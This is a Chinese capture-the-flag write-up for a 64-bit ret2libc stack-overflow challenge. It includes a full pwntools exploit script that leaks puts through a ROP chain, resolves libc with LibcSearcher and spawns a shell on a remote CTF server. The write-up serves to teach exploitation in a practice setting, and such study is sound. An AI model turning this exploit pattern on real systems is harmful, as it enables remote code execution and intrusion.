这道题,还是经典的ret2libc+栈溢出,比上一道题难度高了一点,考察64位寄存器的使用,64位和32位不同,参数不是直接放在栈上,而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈。
注意这里一定要debug调试,不能想当然的认为收到的地址一定是8字节。从图中可以看出,puts地址前6个字节有效。所以最后得人为添加’\x00’补全8字节。
libc基址+system在libc的偏移=system的真实地址
libc基址+/bin/sh在libc的偏移=/bin/sh的真实地址
from pwn import *
from LibcSearcher import *
#p=process("./bjdctf")
p=remote("node4.buuoj.cn",29348)
elf=ELF("./bjdctf")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
p.recvuntil(b"story!\n")
pop_rdi_ret=0x400733
start=0x400530
ret=0x400734
payload1=b"A"*(0x28)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
p.sendline(payload1)
#puts=u64(p.recvline()[:-1].ljust(8,b'\x00'))
puts=u64(p.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts)
libcbase=puts-libc.dump("puts")
system=libcbase+libc.dump("system")
str_bin_sh=libcbase+libc.dump("str_bin_sh")
payload2=b"A"*(0x28)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system)
p.recvuntil(b"story!\n")
p.sendline(payload2)
p.interactive()
注意1
在接收字符串时,一定注意"\n"的存在,若接收“不干净”,会报各种错误。
注意2 (这个安装很慢很慢)
可能会出现libc不匹配的情况。此时需要更新libc。
cd LibcSearcher
rm -rf libc-database
git clone https://github.com/niklasb/libc-database.git
进入libc-database目录,执行:
./get ubuntu
部分参考:
https://blog.csdn.net/yongbaoii/article/details/113764938